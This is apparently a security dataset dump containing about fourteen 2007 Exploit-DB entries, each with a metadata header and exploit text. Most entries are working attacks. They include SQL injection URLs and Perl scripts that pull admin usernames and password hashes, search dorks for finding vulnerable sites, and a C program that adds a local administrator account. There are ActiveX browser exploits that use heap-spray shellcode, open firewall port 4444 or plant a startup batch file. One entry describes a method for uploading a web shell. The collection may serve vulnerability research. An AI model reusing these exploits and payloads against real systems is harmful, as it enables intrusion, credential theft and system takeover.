QLWD/code_shield huggingface dataset:
标题: AuraCMS Forum Module - SQL Injection EDB-ID: 4254 CVE: 2007-4171 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-05 漏洞利用脚本: ########################################################################
# AuraCMS [Forum Module] - Remote SQL Injection
# Vendor        : http://auracms.org/
# Download      : http://iwan.or.id/redirect/download/36.html <-- Forum Module
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : inurl:"?pilih=forum"
########################################################################
file;
/forum/komentar.php

bug at line27-29;
select topikid, subjek, pengirim,reply, waktu, isi from ".$prefix."forum_topik where topikid=$id");

Variable $id tidak terfilter dengan baik sehingga bisa di manipulasi oleh user melalui browser
########################################################################

exploit;
http://localhost/AuraCMS/?pilih=forum&mod=yes&aksi=komentar&id=-9%20union%20select%201,user,id,4,email,password%20from%20user/*

Password dalam bentuk "base64_encode"

########################################################################
Thanks;
str0ke
xoron,
y3dips[y3d1ps.blogspot.com],
mathdule
iFX,x-ace,nyubi,
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[ot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia

# milw0rm.com [2007-08-05] URL: https://www.exploit-db.com/exploits/4254
标题: Panda AntiVirus 2008 - Local Privilege Escalation EDB-ID: 4257 CVE: 2007-4191 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-05 漏洞利用脚本: /*
_________________________________________
Security Advisory
_________________________________________
_________________________________________

 Severity: Medium
 Title: Panda Antivirus 2008 Local Privileg Escalation
 Date: 02.08.07
 Author: tarkus (tarkus (at) tiifp (dot) org)
 URL: https://tiifp.org/tarkus
 Vendor: Panda (http://www.pandasoftware.com/)
 Affected Products: Panda Antivirus 2008
 Not Affected Products: - Panda Internetsecurity 2008
                        - Panda Antivirus + Firewall 2008

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Description:
------------

1.  During  installation  of  Panda Antivirus 2008 the permissions for
installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\
by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account. There is no protection of service files. It's
possible for unprivileged user to replace service executable with the
file of his choice to get full access with LocalSystem privileges. Or to
get privileges or any user (including system administrator) who logons
to vulnerable host. This can be exploited by:

   a. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
   b. Copy any application to PAVSRV51.exe
   c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year (https://www.securityfocus.com/bid/19891)


POC:
----
*/

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;
}

// milw0rm.com [2007-08-05] URL: https://www.exploit-db.com/exploits/4257
标题: Envolution 1.1.0 - 'topic' SQL Injection EDB-ID: 4256 CVE: 2007-4253 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-05 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 3)
{
    usage();

    exit();
}

$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori envolution_1-0-1
$usid = $ARGV[2]; # member id

$www = new LWP::UserAgent;
$sql = "$site/$path/modules.php?op=modload&name=News&file=index&catid=&topic=2%20and%201=2%20union%20all%20select%201,2,3,concat(pn_uname,0x3a,pn_pass)%20from%20envo_users%20where%20pn_uid=$usid/*";
print "\n\n [~] Mencari Username:Password(md5) member id = $usid \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /<b>(.*)<\/b>/ or err();
print "\n [+] Username:Password(md5) member id = $usid  \n";
print "\n [>] $1 \n\n";

sub usage()
{
print "#############################################################\n";
print "#                      newhack[dot]org                      #\n";
print "#############################################################\n";
print "#        Envolution <= v1.1.0 Remote SQL Injection          #\n";
print "#       http://sourceforge.net/projects/envolution          #\n";
print "#          k1tk4t - newhack[dot]org - Indonesia             #\n";
print "#     cara penggunaan: enov.pl [site] [path] [member id]    #\n";
print "#       contoh: enov.pl http://localhost /html  2           #\n";
print "#-----------------------------------------------------------#\n";
print "# Thanks to; str0ke, xoron, y3dips,                         #\n";
print "# newhack[dot]org staff dan member                          #\n";
print "# mR.opt1lc,fusion,PusHm0v,Ghoz,fl3xu5,bius,iind_id,slackX  #\n";
print "# Semua Komunitas Hacker dan Sekuriti Indonesia;            #\n";
print "#############################################################\n";
}

sub err()
{
print "\n [-] Exploit gagal :( - cari yang lain!";
exit();
}

# milw0rm.com [2007-08-05] URL: https://www.exploit-db.com/exploits/4256
标题: Joomla! Component com_gmaps 1.00 - 'mapId' SQL Injection EDB-ID: 4248 CVE: 2007-4128 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-31 漏洞利用脚本: joomla com_gmaps 1.00 Remote SQl Injection
 
Found: Cyber-Security
 
Exploit:
index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId=-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

# milw0rm.com [2007-07-31] URL: https://www.exploit-db.com/exploits/4248
标题: paBugs 2.0 Beta 3 - 'main.php?cid' SQL Injection EDB-ID: 4253 CVE: 2007-4183 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-02 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 4)
{
    usage();
    exit();
}

$host = $ARGV[0]; # Host
$path = $ARGV[1]; # Path to paBugs directory
$pref = $ARGV[2]; # prefix for admin tables
$usid = $ARGV[3]; # user id

$www = new LWP::UserAgent;
$sql = "$host/$path/index.php?cid=1'+union+select+1,2,3,password,5+from+$pref\_admins+where+id=$usid/*";
print "\n\n [~] Searching password for user(admin)=$usid \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /([0-9,a-f]{32})/ or err();
print "\n [+] Admin Password(md5)=$usid is: $1 \n\n";

sub usage()
{
print "~---------------------------------------------------------~\n";
print "|                  Bug Found by: umpi                 |\n";
print "~---------------------------------------------------------~\n";
print "|    paBugs <= v2.0 Beta 3 Sql-Injection exploit          |\n";
print "| Usage: pabugs.pl [site] [folder] [prefix] [user_id] |\n";
print "| Example: pabugs.pl http://localhost /pabugs pa 1              |\n";
print "| Coded by p-range   // cf-team.net   // p-range.info     |\n";
print "~---------------------------------------------------------~\n";
}

sub err()
{
print "\n [-] Site is not vulnerable !";
exit();
}

# milw0rm.com [2007-08-02] URL: https://www.exploit-db.com/exploits/4253
标题: wolioCMS - Authentication Bypass / SQL Injection EDB-ID: 4246 CVE: 2007-4156 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: ########################################################################
# wolioCMS - SQL Injection and Bypass Administrator Login
# Vendor        : http://www.buton.web.id/member.php?member=anon
# Download      : http://www.buton.web.id/download/woliocms.zip
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
Exploit ini berhasil jika 'magic_quotes_gpc = off'
########################################################################
file;
/common.php
bug at line73;
$sql="select * from pages where pages_id='".$_GET["id"]."' ";
----
/admin/index.php
bug at line28;
$sql="select * from member where member_email='$uid' and member_password='$pwd' and member_active='yes' ";
Variable $uid tidak terfilter dengan baik, sehingga bisa di manipulasi oleh user
########################################################################
exploit;
SQL Injection
http://localhost/_woliocms/member.php?member=admin&act=page&id='/**/UNION/**/ALL/**/SELECT/**/null,null,concat(member_email,'-',member_password),null,null,null,null,null,null,null/**/FROM/**/member/*
----
Bypass Administrator Login
http://localhost/_woliocms/admin/
Login Page
Email;
'/**/UNION/**/ALL/**/SELECT/**/member_id,member_email,member_password,member_realname,member_urlname,member_themes,member_groups_id,member_register_date,member_active,member_activation_code/**/FROM/**/member/*
Password;
Blank[just kliklogin]
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
y3dips [y3d1ps.blogspot.com]
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[ot]org
-----------------------
all member echo.or.id
-----------------------
tidak lupa untuk anavrin[semangat kerja bro], dan ical yang baru sembuh

# milw0rm.com [2007-07-30] URL: https://www.exploit-db.com/exploits/4246
标题: Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service EDB-ID: 4251 CVE: 2006-4301 类型: DOS 平台: WINDOWS 发布日期: 2007-07-31 漏洞利用脚本: <!--============================================================================
dxtmsft.dll Remote Buffer Overflow Exploit
Internet Explorer ver 6.0
DeltahackingSecurityTEAM
Bug discovered by Dr.Pantagon
Affected Software: dxtmsft.dll  (DirectX Media -- Image DirectX Transforms)
DLL VER : 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)
Company Dll : Microsoft® Windows® Operating System
path : C:\WINDOWS\system32\dxtmsft.dll
all software that use this ocx are vulnerable to this exploits.
www.Deltahacking.net
www.Deltasecurity.ir
==============================================================================-->

<object classid="clsid:421516C1-3CF8-11D2-952A-00C04FA34F05" id="Chroma"></object>

<input language=VBScript onclick=jojo() type=button value="Click here to start Exploit"><script language='vbscript'>
 Sub jojo
  buff = String(999999, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaA")

  get_EDX = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccddddddddddeee"

  buff1 = String(999999, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBbb")

  egg = buff + get_EDX + buff1 + scode

  Chroma.Color = egg
 End Sub
</script>

# milw0rm.com [2007-07-31] URL: https://www.exploit-db.com/exploits/4251
标题: VMware Inc 6.0.0 - 'vielib.dll 2.2.5.42958' Remode Code Execution EDB-ID: 4244 CVE: 2007-4058 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-29 漏洞利用脚本: :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit
=============================================================================

Internal ID: VULWAR200707290.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The StartProcess method doesn't check if it's being called from the application,
or malicious users. Remote Attacker could craft a html page and execute code in
a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 29 2007 -- Bug Discovery.
July 29 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------

StartProcess method needs three files (stdin, stdout, stderr) to success StartProcess. The exploit
is using three standard files that exists in every Microsoft Office 2003 Application.


<HTML>
<BODY>
  <object id=ctrl classid="clsid:{7B9C5422-39AA-4C21-BEEF-645E42EB4529}"></object>
<SCRIPT>

function Poc() {
 arg1 = "C:\\windows\\system32\\netsh.exe"
 arg2 = "C:\\windows\\system32\\netsh.exe firewall add portopening tcp 4444 GotIT"
 arg3 = "C:\\windows\\system32\\"
 arg4 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"
 arg5 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"
 arg6 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"
 arg7 = "1"
 ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-29] URL: https://www.exploit-db.com/exploits/4244
标题: Yahoo! Widget < 4.0.5 - 'GetComponentVersion()' Remote Overflow EDB-ID: 4250 CVE: 2007-4034 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-31 漏洞利用脚本: <html>
<!--
+++++++++++++++++++++++
+Last Modified by lhoang8500++
+++++++++++++++++++++++
-->
<html>
<object classid="CLSID:7EC7B6C5-25BD-4586-A641-D2ACBB6629DD" id="target"></OBJECT>

<SCRIPT language="javascript">

 var heapSprayToAddress = 0x05050505;

 var payLoadCode = unescape("%uc931%ue983%ud9b0%ud9ee%u2474%u5bf4%u7381%u2713%uf3fc%u830c%ufceb%uf4e2%u96db%u4118%u05cf%uf30c%u9cd8%u6078%ud803%u4978%u771b%u098f%ufd5f%u871c%ue468%u5378%ufd07%u4518%uc8ac%u0d78%ucdc9%u9533%u788b%u7833%u3d20%u0139%u3e26%uf818%ua81c%u24d7%u1952%u5378%ufd03%u6a18%uf0ac%u87b8%ue078%ue7f2%ud024%u8578%ud84b%u6def%ucde4%u6828%ubfac%u87c3%uf067%u7c78%u513b%u4c78%ua22f%u829b%uf269%u5c1f%u2ad8%u5f95%u9441%u3ec0%u8b4f%u3e80%ua878%udc0c%u374f%uf01e%uac1c%uda0c%u7578%u6a16%u11a6%u0efb%u9672%uf3f1%u94f7%u052a%u51d2%uf3a4%uaff1%u5fa0%uaf74%u5fb0%uaf64%udc0c%u9441%u50e2%uaf41%ued7a%u94b2%u1657%u3b57%uf3a4%u96f1%u5de3%u0372%u6423%u5183%ue5dd%u0370%u5f25%u0372%u6423%ub5c2%u4575%u0370%u5c25%ua873%uf3a6%u6ff7%ueb9b%u3a5e%u5b8a%u2ad8%uf3a6%u9af7%u6899%u9441%u6190%u19ae%u5c99%ud57e%u853f%u96c0%u85b7%ucdc5%uff33%u028d%u21b1%ubed9%u9fdf%u86aa%ua7cb%u578c%u7e9b%u4fd9%uf3e5%ub852%uda0c%uab7c%u5da1%uad76%u0d99%uad76%u5da6%u2cd8%ua19b%uf9fe%u5f3d%u2ad8%uf399%ucbd8%udc0c%uabac%u8f0f%u98e3%uda0c%u0375%u6423%u76d7%u53f7%u0374%uf325%ufcf7%u0cf3%u0000");

 var heapBlockSize = 0x400000;

 var payLoadSize = payLoadCode.length * 2;

 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

 var spraySlide = unescape("%u9090%u9090");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);

 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

 memory = new Array();

 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }
 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 };
var buffer =  unescape("%u0505");
while (buffer.length < 845)  buffer+='\x0A';
while (buffer.length< 1000) buffer+=unescape("%u0505");

target.GetComponentVersion(buffer);
</script>
</html>

# milw0rm.com [2007-07-31] URL: https://www.exploit-db.com/exploits/4250
标题: VMware Inc 6.0.0 - CreateProcess Remote Code Execution EDB-ID: 4245 CVE: 2007-4155 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-30 漏洞利用脚本: :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx Remode Code Execution Exploit
======================================================================================

Internal ID: VULWAR200707300.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The CreateProcess & CreateProcessEx method doesn't check if they're being called
from the application, or malicious users. Remote Attacker could craft a html page
and execute code in a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:0F748FDE-0597-443C-8596-71854C5EA20A
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 30 2007 -- Bug Discovery.
July 30 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------


<HTML>
<BODY>
  <object id=_9090909090 classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>

function _d0_() {
 
 ba="c:\\windows\\system32\\calc.exe"
 ad="c:\\windows\\system32\\calc.exe"
 fO="c:\\windows\\system32\\"
 Od=1

_9090909090.CreateProcess(ba, ad, fO, Od)
 }

</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-30] URL: https://www.exploit-db.com/exploits/4245
标题: CHILKAT ASP String - 'CkString.dll 1.1 SaveToFile()' Insecure Method EDB-ID: 4255 CVE: 2007-4252 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-05 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>CHILKAT ASP String (CkString.dll <= 1.1) "SaveToFile()" Inscure Method</b>
 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data</b>
-----------------------------------------------------------------------------

<object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.str = mStr
   test.SaveToFile ("c:\shinnai.bat"),"big5"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-08-05] URL: https://www.exploit-db.com/exploits/4255
标题: Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution EDB-ID: 4237 CVE: 2007-4062 2007-4061 2007-4031 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-27 漏洞利用脚本: <HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3-18438023193B"></object>

<script language="javascript">
obj.addsetConfig('shutdown -t 1000 -s -c "hello world ;]" && pause', '', '');
obj.saveNessusRC("../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat");
</script>
</HTML>

# milw0rm.com [2007-07-27] URL: https://www.exploit-db.com/exploits/4237
标题: PHP123 Top Sites - 'category.php?cat' SQL Injection EDB-ID: 4241 CVE: 2007-4054 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-28 漏洞利用脚本: --==+================================================================================+==--
--==+      PHP123 Top Sites SQL Injection Vulnerbility               +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Browse our directory of our members top sites or create your own for free!"


DESCRIPTION: 
pull out admin/users login credentials


EXPLOITS:
http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/admin/*
http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/users/*


NOTE/TIP: 
admin login is at /siteadmin/
altavista also returns a few diffrent results, dnt use the allintext: thou.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.org !


--==+================================================================================+==--
--==+      PHP123 Top Sites SQL Injection Vulnerbility               +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-28] URL: https://www.exploit-db.com/exploits/4241
标题: Seditio CMS 121 - 'pfs.php' Arbitrary File Upload EDB-ID: 4235 CVE: 2007-4057 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-27 漏洞利用脚本: # Seditio CMS Remote File Upload Vulnerability

# ReSearcher : A.D.T

# Script : Seditio and Ldu Cms

# Version : All Versions

# Script HomePage : http://neocrome.net/

# Dork : "powered by seditio" or "powered by ldu"

# Risk : Very High!

# Usage : Firstly, you register the victim web site. After, go to "pfs.php" and upload your evil script!

# [+] Your Evil Script : evilscriptname.php.gif or evilscriptname.php.jpg or evilscriptname.php.png

# Contact : a.d.t-gizliadres@hotmail.com

# HomePage : http://err0rgroup.org/    

# We Are : A.D.T | LaqNéS | KeyStr0ke |Pcq0 | Dümenci | SaLuR | Z@rih | 0ssi3 | Sanal-Tehlike | Lnt

# ...and thanks str0ke

# milw0rm.com [2007-07-27] URL: https://www.exploit-db.com/exploits/4235
标题: VMware 'IntraProcessLogging.dll' 5.5.3.42958 - Arbitrary Data Write EDB-ID: 4240 CVE: 2007-4059 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-28 漏洞利用脚本: <!--
---------------------------------------------------------------------------

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
===========================================================================

Internal ID: VULWAR200707280.
-----------

Introduction
------------
IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.


Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.


Workaround
----------
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.


Timeline
--------
July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>


Technical Details
-----------------

SetLogFileName method receives one argument filename in this format
"c:\path\file".


Proof of Concept
---------------->

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\arbitrary_file.txt"
   ctrl.SetLogFileName(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-28] URL: https://www.exploit-db.com/exploits/4240